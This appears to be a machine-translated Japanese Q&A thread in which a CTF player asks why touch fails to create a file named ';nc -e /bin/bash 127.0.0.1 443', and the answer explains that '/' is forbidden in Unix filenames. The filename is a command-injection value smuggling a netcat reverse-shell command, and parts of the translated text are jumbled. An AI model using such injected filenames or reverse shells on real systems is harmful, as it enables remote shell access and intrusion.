ファイル名から「/bin/bash」をエスケープしてください。

ファイル名から「/bin/bash」をエスケープしてください。

CTFでプレイしていて、touchコマンドを使用して名前付きファイルを作成したいが;nc -e /bin/bash 127.0.0.1 443失敗します。

問題なくというファイルを作成し、次;nc -e 127.0.0.1 443の内容を作成できます。touch -- \;nc\ \-e\ 127\.0\.0\.1\ \4\4\3/bin/bashtouch -- \;nc\ \-e\ \/\b\i\n\/\b\a\s\h\ 127\.0\.0\.1\ \4\4\3touch: cannot touch ';nc -e /bin/bash 127.0.0.1 443': No such file or directory

私は何が間違っていましたか?

ベストアンサー1

Unixのファイル名は/パス区切り文字なので、この文字を含めることはできません。

パス名

;nc -e /bin/bash 127.0.0.1 443

bash 127.0.0.1 443binのサブディレクトリであるディレクトリから呼び出されたファイルを参照します;nc -e(末尾にスペースがあります)。

この/文字は、Unixファイル名には許可されていない2つの文字のうちの1つです。もう1つはNULL文字(ASCII 0または\0)です。 nul 文字は文字列終端文字なので、ファイル名には許可されません。

また、必須シンボルをエスケープするよりも複雑なファイル名を一重引用符で囲む方が簡単です。

touch ';nc -e 127.0.0.1 443'

おすすめ記事